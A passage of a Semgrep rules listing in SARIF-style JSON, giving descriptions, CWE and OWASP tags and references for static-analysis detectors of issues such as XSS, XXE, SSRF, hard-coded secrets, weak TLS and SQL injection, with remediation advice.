settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#enabled)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","id":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","name":"terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string","id":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","name":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","id":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","name":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","id":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","name":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","id":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","name":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","id":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","name":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","id":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","name":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","id":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","name":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://fastapi.palletsprojects.com/en/2.3.x/logging/](https://fastapi.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","id":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","name":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","id":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","name":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","id":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","name":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","id":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","name":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"help":{"markdown":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link)\n - [https://cwe.mitre.org/data/definitions/319.html](https://cwe.mitre.org/data/definitions/319.html)\n","text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"helpUri":"https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link","id":"html.security.plaintext-http-link.plaintext-http-link","name":"html.security.plaintext-http-link.plaintext-http-link","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.plaintext-http-link.plaintext-http-link"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements 